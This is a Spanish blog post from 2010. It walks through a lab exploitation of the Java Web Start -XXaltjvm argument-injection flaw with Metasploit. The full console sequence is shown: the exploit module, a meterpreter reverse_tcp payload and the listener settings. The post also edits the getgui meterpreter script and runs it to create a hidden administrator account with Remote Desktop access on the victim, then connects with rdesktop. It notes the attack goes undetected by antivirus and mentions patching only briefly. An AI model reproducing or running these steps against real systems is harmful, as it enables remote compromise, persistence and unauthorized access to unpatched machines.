miércoles, 12 de mayo de 2010

Laboratorio Metasploit java Web Start + Escritorio Remoto Getgui

Otro mas laboratorio sobre Metasploit. Creo que este es uno de los exploit mas peligrosos con respecto a los anteriores que mostre, ya que lo estube probando y no llega a ser detectado por los AV.
La falla reside en el Web Start de Java, el binario llamada javaws.exe, el problema es que la validacion de URL es minima por lo cual se puede realizar una inyeccion de codigo arbitrarios.
Esta falla fueron descubiertas paralelamente por Tavis Ormandy y Ruben Santamarta

la línea de comandos "-XXaltjvm "y curiosamente también "-J-XXaltjvm "(vea el interruptor -J en javaws.exe). Esto indica a Java que cargue una bibliotec JavaVM alternativa (jvm.dll o libjvm.so) desde la ruta deseada. Fin del juego. Podemos establecer-XXaltjvm = \ \ IP\maligno, de esta manera javaw.exe cargará nuestra jvm.dll maligna. Adios ASLR, DEP .. . ", dijo Santamarta en su comunicado.


Un buen documento explicado sobre la falla es en este link

Para que funcione este exploit desde Metasploit Framework, tenemos que estar en una maquina como root y no tener ningun servidor SMB corriendo, el otro requerimiento es que en la maquina victima tiene que estar el WebClient prendido. La forma de verificar si esta corriendo el servicio es

C:\>sc query webclient | find "STATE"
STATE : 4 RUNNING



Prueba Metasploit

Para demostrar la falla utulizaremos el popular metasploit, y el exploit cargado llamado java_ws_arginject_altjvm. Abajo se muestra toda la secuencia de comandos para cargar el exploit mas el payloads, cosas ya viste anteriormente en los anteriores publicaciones sobre metasploit :)


#msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r9306 updated today (2010.05.15)

msf > use exploit/windows/browser/java_ws_arginject_altjvm
msf exploit(java_ws_arginject_altjvm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_ws_arginject_altjvm) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LPORT 3333
LPORT => 3333
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 192.168.56.1:3333
[*] Using URL: http://192.168.56.1:80/
[*] Server started.






Ahora solo queda que la victima ingrese a nuestro servidor iniciado por el MSF con la pagina HTML maligna.








La maquina Virtual es un XP SP 3 y la Version de Java es:

C:\Documents and Settings\victima 2>java -version
java version "1.6.0_18"
Java(TM) SE Runtime Environment (build 1.6.0_18-b07)
Java HotSpot(TM) Client VM (build 16.0-b13, mixed mode, sharing)


Se aconseja actualizar Java a una version mas reciente, a partir de la 1.6.0_20, es donde se encuentra el parche, ya que es es considerada de criticidad maxima a esta vulnerabilidad.
De todos los exploit que he probado sobre browser hasta el momento, este es uno de los mas peligrosos, ya que es independiente del browser, y los AV hasta el momento ( por lo que eh notado ), no tienen alguna firma, aunque me paresca raro..



ESCRITORIO REMOTO

Cuando obtenemos una session de meterpreter, tenemos muchas funcionalidades, como migrarnos de procesos, keyloger, screenshot, capturar las llaves, etc.
La opcion que vamos a ver, es un script que permite abrir un Terminal Server en la maquina victima, pero para que nosotros podamos usarlos sin algun problema tendremos que modificar el codigo para que coloque un usuario en el grupo Administradores en las version español de windows.

El script se llama GETGUI, para modificar nos vamos a donde estan los archivos de script en mi caso:

/opt/metasploit3/msf3/scripts/meterpreter

En esta ruta estan lo script del meterpreter.

Como veran, el getgui nos da algunas opciones donde una de ellas es el lenguaje, con el parametro -l le pasamos el tipo pero solo hay en Ingles y Aleman.




meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e

OPTIONS:

-e Enable RDP only.
-f Forward RDP Connection.
-h Help menu.
-l The language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
-p The Password of the user to add.
-u The Username of the user to add.




Lo que haremos es editar el archivo getgui.rb

#nano /opt/metasploit3/msf3/scripts/meterpreter/getgui.rb

Nos dirijimos a la linea 113, y cambiamos este trozo de codigo
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"

end



Por este otro

case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
when "es_ES"
rdu = "Usuarios de escritorio remoto"
admin = "Administradores"


end


Una vez que hayamos cambiado, ahora nos vamos al nuestra sessions del meterpreter y ejecutamos.


meterpreter > run getgui -u hacker -p 123456 -l es_ES
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'es_ES'
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: hacker with Password: 123456
[*] Adding User: hacker to local group 'Usuarios de escritorio remoto'
[*] Adding User: hacker to local group 'Administradores'
[*] You can now login with the created user




Lo que hace esto es crear un usuario hacker con password 123456 al grupo "Administradores" y que pueda accederse atravez de escritorio remoto dicho usuario "Usuarios de Escritorios remoto".
Ahora para ver si todo funciona, vamos a una shell y con el programa rdesktop nos conectamos. ( Si no lo tenes y estas en debian o distros similares aptitude install rdesktop ).

$rdesktop 192.168.56.101












Eso es todo, Saludos


REFERENCIAS

http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html
http://seclists.org/fulldisclosure/2010/Apr/119
http://www.pentester.es/2010/05/explotando-java-web-start.html
http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html
http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910